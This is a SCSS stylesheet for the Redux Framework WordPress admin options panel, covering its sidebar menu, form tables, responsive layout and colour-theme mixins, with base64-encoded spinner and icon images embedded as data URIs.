-moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; } .redux-group-tab { display: none; margin-bottom: 15px; .redux-theme-data { padding: 20px 0; border-top: 1px solid #E7E7E7; &.theme-description { padding: 10px 0; border-width: 0; } &.theme-uri, &.theme-author, &.theme-version { padding: 0; border-width: 0; } } h3 { margin-top: 0; line-height: 2em; border-bottom: 1px solid #E7E7E7; } .redux-section-desc { margin-bottom: 15px; color: #666; } } .redux-action_bar { float: right; .spinner { float: left; margin-top: 4px; } } .redux-ajax-loading { display: none; background: red url(data:image/gif;base64,R0lGODlhEAAQAPUAAIiIiIqKio2NjZSUlJqamp6enqKioqSkpK+vr7i4uL+/v8PDw8XFxcnJyc/Pz9HR0dTU1NjY2Nzc3OLi4ubm5unp6ezs7PPz88vLy83NzdDQ0NXV1d3d3eHh4bu7u8zMzOvr6+3t7ZiYmNbW1sDAwMTExNra2s7OztPT09vb2+Xl5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/i1NYWRlIGJ5IEtyYXNpbWlyYSBOZWpjaGV2YSAod3d3LmxvYWRpbmZvLm5ldCkAIfkEAAoA/wAsAAAAABAAEAAABXDgJY6XZZEoOTnOlI5WdUFNA5UnSR3FJNUSieFAIUUEgcdl4noEBBGSZaHIiSqKhTX2GhVFiQGjuxgkSoYAoosAGE6RhKQrUURHlS+pItMVCHMjEgQ9JBJISg+JT3ciFg4NFkcCNw0OViiDgF0oTC8hACH5BAAKAP8ALAAAAAAQABAAAAVx4CWOZGle1qJYp2hV1xYE29V1JXUYHWUcnQgGwyFFBAENiqUZ1kapFamTyeBcsNOLMkoMGC3GIIEyBBAtRMDAiiSKp04iQqpwc9kRpUCAizgEBVciEQNJFxpKGgECdFAYYBsCAjUMGS0XgAODmDacIyEAIfkEAAoA/wAsAAAAABAAEAAABnbAi3BILBovIMUidBSGQJdNIKBBMomUg6FDMRgoHcOBQowIqNaLJiCIEEMLxdWpnIfITRAHnxgwjiEfDR8UIQYBCEcgDYwdUR6ORxEfG3MgeFiFRB0FBBxEHAQFkUJmaBofamxuRB9/GwICGxeMTRehnrabpERBACH5BAAKAP8ALAAAAAAQABAAAAZ9wItwSCwaL5aFwnIUWiqXUSAwulSYRMrB0KEYDJSO4UAhRgQBDZLpCAgixOSSWFEssEho81IWJgYMTQwDCUgGAQhNCAEGTCMJHU0dCXBDFX1DFhwdeHwFIhxmGBihQxEDaRcOGhYao1WZGIFnAiMUDg6YRR0ioE57Fx2RRkEAIfkEAAoA/wAsAAAAABAAEAAABXLgJY5kaV7WolinaLGQEEBXxZLUUUyUYVATw4FCisg0NZYmIIiQUosKqaJY3FDS1oUoSgwYrcUggTIAEC1EwMCKJCatSYI2qnBx2dGkQOCQOAQFdxdGARoVGhCITE4kGBgWEI8QFgwYWhGTWiMWERFXIyEAIfkEAAoA/wAsAAAAABAAEAAABn/Ai3BILBovloXCchRaKpdRIDC6VJhEysHQoRgMlI7hQCFGBAENkukICCLE5JJYUSywSGjzUhYmBgxNDAMJSAYBCE0IAAZMEQkdTRwKVUMcHHhCFXpDERgYcJYEBZFDI58aFhoOFxpuoUIUGhoUZwJVGA6ZaxccBAQce0QdpUVBACH5BAAKAP8ALAAAAAAQABAAAAZ8wItwSCwaLyEFKXQUhioXSCAAuVSYRMrB0KEYDJSO4UAhmgQBDZKpCQhMxFBJgRVWlFkOtElhUj4NH3VEJQMJFx0NintFCAEGISEQH3BHHR5VThVlRRSMQh0FBBxEHAQFnEJnaRcfHxdtb0WKIWcCVSUNTYgEo7tEHR1HQQAh+QQACgD/ACwAAAAAEAAQAAAGdcCLcEgsGi8hhSJ0FHY6l1EgMLqAmEROo5HqGAwqL5g42qKsoAsqIEgRVacTdAhSLLBI1bWpwiYGDE0MAwlIBgEITQgBBkwjCRxNHQlVdCpGekUqBQSRQxwEBZdDKQIBZ3FqbG5EDYEjpikhW3hFoJ1NRU9HQQA7) no-repeat; width: 16px; height: 16px; margin: 3px 4px 0; float: right; } #redux-intro-text { background: #f3f3f3; border-bottom: 1px solid #dedede; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; padding: 3px; padding: 10px 10px; p { margin: 0; font-family: "Lucida Grande", Sans-serif; color: #888; } } .expand_options { cursor: pointer; display: block; height: 22px; width: 21px; float: left; font-size: 0; text-indent: -9999px; margin: 1px 0 0 5px; border: 1px solid #bbb; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -26px; &.expanded { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -1px } &:hover { border-color: #888; } } .sticky-footer-fixed { background: #f3f3f3; border-top: 1px solid #dedede !important; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; } .redux-sidebar, .redux-main { min-height: 300px; } .redux-main { background: #FCFCFC; margin-left: 201px; border-left: 1px solid #D8D8D8; padding: 10px 20px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #FFF; box-shadow: inset 0 1px 0 #FFF; position: relative; #redux_ajax_overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; -moz-opacity: 0.10; -khtml-opacity: 0.10; opacity: 0.10; filter: progid:DXImageTransform.Microsoft.Alpha(opacity=10); filter: alpha(opacity=10); background: #000; z-index: 200; display: none; } .form-table.no-border { border-top: none; } .form-table tr { border-bottom: 1px solid #E7E7E7; &:last-child { border-bottom: none !important; } th, td { color: #333; } } .form-table tr td { table.mceLayout, table.mceLayout tr, table.mceLayout tr td { padding: 0; border-width: 0; } .redux-th-warning { font-size: 1em; color: #C09853; font-weight: normal; display: block; margin-top: 10px; } .redux-field-warning { border-color: #C09853; margin-top: 10px; } .redux-th-error { font-size: 1em; color: #B94A48; font-weight: normal; display: block; margin-top: 10px; } } input.large-text { width: 100%; } .hide { display: none; } .redux-field-container { padding: 20px 0; } .mini, input[type=text].mini { width: 60px; text-align: center; } input { line-height: 19px; } img { max-width: 100%; height: auto; width: auto !important; } .select2-default { width: auto !important; } .showDefaults { display: block; font-weight: normal; font-size: .8em; color: #888; } span.description { display: block; font-style: normal; font-weight: 400; } #redux-system-info textarea { min-height: 730px; width: 100%; } .field-desc { clear: both; font-size: 13px; } .data-full li { width: 100%; } .data-half li { width: 50%; float: left; } .data-third li { width: 33.3%; float: left; } .data-quarter li { width: 25%; float: left; } .ui-helper-hidden-accessible { top: inherit; } .form-table:first-child > tr th, .redux-main .form-table:first-child > tr td { //padding-top: 0 !important; } .form-table { clear: none; margin-top: 0px !important; &:first-child tr th, &:first-child tr td { // padding-top: 0 !important; } tr:first-child th, tr:first-child td { padding-top: 0; } } .input-append input { border-right: 0; margin-bottom: 0; border-top-right-radius: 0; border-bottom-right-radius: 0; margin-right: 0; float: left; margin-top: 0; display: block; } .input-append .add-on { border-top-right-radius: 3px; border-bottom-right-radius: 3px; margin-left: -2px; padding-top: 4px !important; padding-bottom: 2px !important; //float: left; } .input-prepend input { border-left: 0; margin-bottom: 0; border-top-left-radius: 0; border-bottom-left-radius: 0; margin-left: 0; padding-top: 2px; padding-bottom: 5px; float: left; margin-top: 0; display: block; } .input-prepend .add-on { border-top-left-radius: 3px; border-bottom-left-radius: 3px; float: left; } .input-append { margin-right: 10px; font-size: 0; white-space: nowrap; float: left; display: inline-block; margin-bottom: 6px; } .input-append .add-on, .input-prepend .add-on { width: auto; display: inline-block; min-width: 16px; padding: 3px 4px; font-size: 12px; font-weight: 400; line-height: 20px; text-align: center; text-shadow: 0 1px 0 #ffffff; background-color: #eeeeee; border: 1px solid #cccccc; } .input-prepend { font-size: 0; white-space: nowrap; float: left; display: inline-block; margin-bottom: 6px; } pre { white-space: pre-wrap; /* css-3 */ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ word-wrap: break-word; /* Internet Explorer 5.5+ */ } } } /* redux-container */ .no-js { border: 1px solid #ffbaba; margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #F2DEDE; color: #B94A48; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } /* main */ .redux-sidebar { width: 202px; float: left; .redux-group-menu { margin-top: 0 !important; li { margin-top: 0; &.active a, &.active a:hover, &.activeChild a, &.activeChild a:hover { background: #FCFCFC; color: #269ad6; width: 184px; opacity: 1; //margin-right:-2px; } &.active a li a { background: #333; padding-left: 5px; } &.divide { padding: 0; border-width: 1px 0; border-style: solid; border-bottom-color: #E7E7E7; border-top-color: #F9F9F9; } a:first-child { border-top: none; } a { display: block; padding: 10px 4px 10px 14px; background: #e0e0e0; background: transparent; border-width: 1px 0; border-style: solid; border-bottom-color: #E7E7E7; border-top-color: #F9F9F9; opacity: 0.7; color: #555; font-weight: 600; text-decoration: none; -webkit-transition: none; transition: none; &.custom-tab { background: #f6f6f6; } img { width: 16px; height: 16px; // vertical-align:middle; // margin-bottom:-3px; // margin-right: 3px; position: absolute; left: 15px; } &:hover { background: #e5e5e5; //width: 184px color: #777; //margin-right: -2px; opacity: 1; } } } } .redux-menu-warning, .redux-menu-error, .hasSubSections .extraIconSubsections { display: inline-block; float: right; padding: 6px 7px 4px 7px; margin-left: 4px; font-family: sans-serif; font-size: 9px; font-weight: 600; line-height: 9px; border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border: 0 solid transparent; //margin-right: 5px; i { margin-left: -3px; margin-top: -3px; } } .redux-menu-error { background-color: rgb(185, 74, 72); color: rgb(242, 222, 222); } .redux-menu-warning { background-color: #C09853; color: #FCF8E3; } ul { .subsection { display: none; } } .redux-group-tab-link-a { position: relative; outline: 0; i { vertical-align: middle; font-size: 1.35em; position: absolute; } span { display: block; &.group_title { padding-left: 30px; } } } .redux-group-tab-link-li a.hasError span.group_title { padding-right: 25px; } #redux-header { text-align: center; .display_header { float: none; } } } /* sidebar */ /* * * NHP_Options_color * */ .farb-popup-wrapper { position: relative; display: block; } .farb-popup { position: absolute; left: 40px; top: 40px; background-color: white; border: 1px solid #222; padding: 5px; z-index: 100; } .mp6 { .icon-themes { display: none; } .redux-container { #info_bar { padding: 6px 10px 6px 6px; a { margin-top: 2px; } } } } .redux-timer { text-align: center; font-size: 10px; color: #888; } .wrap { margin-top: 0; } @media screen and (max-width: 600px) { .redux-sidebar { width: 44px; .extraIconSubsections { display: none !important; } .redux-group-menu li a, .redux-group-menu li a:hover, .redux-group-menu li.active a, .redux-group-menu li.active a:hover, .redux-group-menu li.activeChild a, .redux-group-menu li.activeChild a:hover { width: auto; } .redux-group-tab-link-a { position: relative; i { position: inherit; } span { display: none; position: absolute; top: 0; left: 44px; padding: 12px; width: 200px; background: #eeeeee; border: 1px solid #ccc; -webkit-box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); -moz-box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); border-width: 1px 1px 1px 0px; z-index: 3; } &:hover > span { display: block; } } } .redux-main { margin-left: 43px; width: auto; max-width: 100%; } table.form-table, .form-table > thead, .form-table > tbody, .form-table > tbody > tr > th, .form-table > tbody > tr > td, .form-table > tbody > tr { display: block; width: 100% !important; padding: 0px !important; } .form-table > tbody > tr > th, .form-table > tbody > tr > td { padding: 10px !important; } .form-table > tbody > tr > th, .form-table > tbody > tr > td { padding: 10px !important; } } //mp6 fixes @media screen and (max-width: 782px) { .form-table>tbody>tr>th { width: 100%; } .redux_field_th { padding-bottom:0; } .mp6 { .redux-container { #info_bar { height: auto; padding-bottom: 1px; a { margin-top: 5px; } } } } .redux-container-switch label { padding: 5px 10px !important; } .redux-container-button_set label { padding: 12px 10px; } .redux-container #redux-footer #redux-share { line-height: 34px; } } pre { overflow: hidden; } /* Default admin theme */ #redux-header h2 { color: #fff; } @mixin backgroundGradient($to: darken($to, 5%), $from: lighten($to, 7%)) { background-color: $to !important; background-image: -khtml-gradient(linear, left top, left bottom, from($from), to($to)) !important; background-image: -moz-linear-gradient(top, $from, $to) !important; background-image: -ms-linear-gradient(top, $from, $to) !important; background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, $from), color-stop(100%, $to)) !important; background-image: -webkit-linear-gradient(top, $from, $to) !important; background-image: -o-linear-gradient(top, $from, $to) !important; background-image: -linear-gradient(top, $from, $to) !important; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{$from}', endColorstr='#{$to}', GradientType=0) !important; } @mixin adminThemeColorOverrides($darkColor, $accentColor, $secondaryColor, $buttonPrimary) { .button.ui-datepicker-current, button.ui-datepicker-close { background-color: lighten($accentColor, 3%) !important; } .ui-datepicker-buttonpane button.ui-datepicker-current { background: $buttonPrimary !important; color: white !important; border: 1px solid darken($buttonPrimary, 20%) !important; } .ui-datepicker-header .ui-icon { background-image: url(data:image/png;base64,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) !important; } .ui-datepicker-header { background-color: $secondaryColor !important; color: white !important; } .ui-datepicker td .ui-state-active { background-color: lighten($accentColor, 3%) !important; color: white !important; } .ui-datepicker td .ui-state-hover { color: lighten($accentColor, 3%) !important; } .ui-datepicker td .ui-state-highlight { background: $accentColor !important; border: 1px solid $secondaryColor !important; color: white !important; } .redux-container-switch .cb-disable, .redux-container-switch .cb-enable, .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { @include backgroundGradient(#f5f5f5, #f8f8f8); border-color: #ccc !important; } .ui-datepicker td .ui-state-active { color: black !important; font-weight: 700 !important; background: white !important; } .redux-container-switch .cb-disable.selected { @include backgroundGradient(#646464, #929292); border-color: #767676 !important; } .redux-container-switch .cb-enable.selected, .redux-field-container .ui-buttonset .ui-state-active { @include backgroundGradient($accentColor); border-color: darken($accentColor, 15%) !important; border-color: darken($accentColor, 10%) !important; -webkit-box-shadow: inset 0 1px 0 lighten($accentColor, 15%), 0 1px 0 rgba(0, 0, 0, .15) !important; box-shadow: inset 0 1px 0 lighten($accentColor, 15%), 0 1px 0 rgba(0, 0, 0, .15) !important; } #redux-header { background: $secondaryColor; border-color: $accentColor; .display_header span { color: $darkColor; } } .redux-sidebar .redux-group-menu li.active { &.hasSubSections { a { position: relative; &:after { right: 0; border: solid 8px transparent; content: "\0020"; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } } ul.subsection li a:after { border: 0 none !important; content: "\0020" !important; } } } .redux-sidebar .redux-group-menu li { &.hasSubSections { .redux-menu-error { display: none; margin-right: 5px; } a { &.hasError { .extraIconSubsections { background-color: rgb(185, 74, 72); color: rgb(242, 222, 222); } } .extraIconSubsections { border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border: 0 solid transparent; font-size: 9px; height: 9px; line-height: 9px; margin-right: 5px; padding: 6px 7px 4px 7px; width: 5px; } &:hover .extraIconSubsections { //right: 2px; } } } &.active, &.activeChild { a .extraIconSubsections { display: none; } &.hasSubSections { .redux-menu-error { display: block; } .subsection { .redux-menu-error { margin-right: 2px; } } } } } .redux-sidebar .redux-group-menu { li.active, li.activeChild { border-left: 0 none; a { color: $secondaryColor; } &.hasSubSections { .active { a { &:after { right: 0; border: solid 8px transparent; content: "\0020"; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } } } a { -webkit-transition: all 0.2s; -moz-transition: all 0.2s; transition: all 0.2s; color: #fff; width: auto; border-bottom: 0; } ul.subsection li { border-top: 0 none !important; &.active a:hover { color: #fff; } a { width: auto; border-top: 0 !important; // border-top-color: lighten(@secondaryColor, 15); padding: 7px; color: #fff; padding-left: 15px; -webkit-transition: all 0.2; -moz-transition: all 0.2; -ms-transition: all 0.2; -o-transition: all 0.2; transition: all 0.2; &:hover { color: $buttonPrimary; background: darken($secondaryColor, 10%); } span.group_title { padding-left: 5px !important; } } &.hasIcon { a { padding-left: 14px; span.group_title { padding-left: 30px !important; } } } } } } li.active { &.hasSubSections { a { background: $accentColor; } ul.subsection li a { background: $secondaryColor; } } } li.activeChild { &.hasSubSections { a { background: $darkColor; text-shadow: 1px 1px darken($darkColor, 30%); } ul.subsection li { a { background: $secondaryColor; text-shadow: none; } &.active { a { background: $accentColor; text-shadow: 1px 1px darken($accentColor, 20%); } } } } } } .redux-container-image_select .redux-image-select-selected img { border-color: $accentColor; } .redux-container-image_select .redux-image-select-selected .tiles { border-color: $accentColor; } #redux-footer #redux-share a { color: $accentColor; &:hover { color: darken($accentColor, 20%); } } 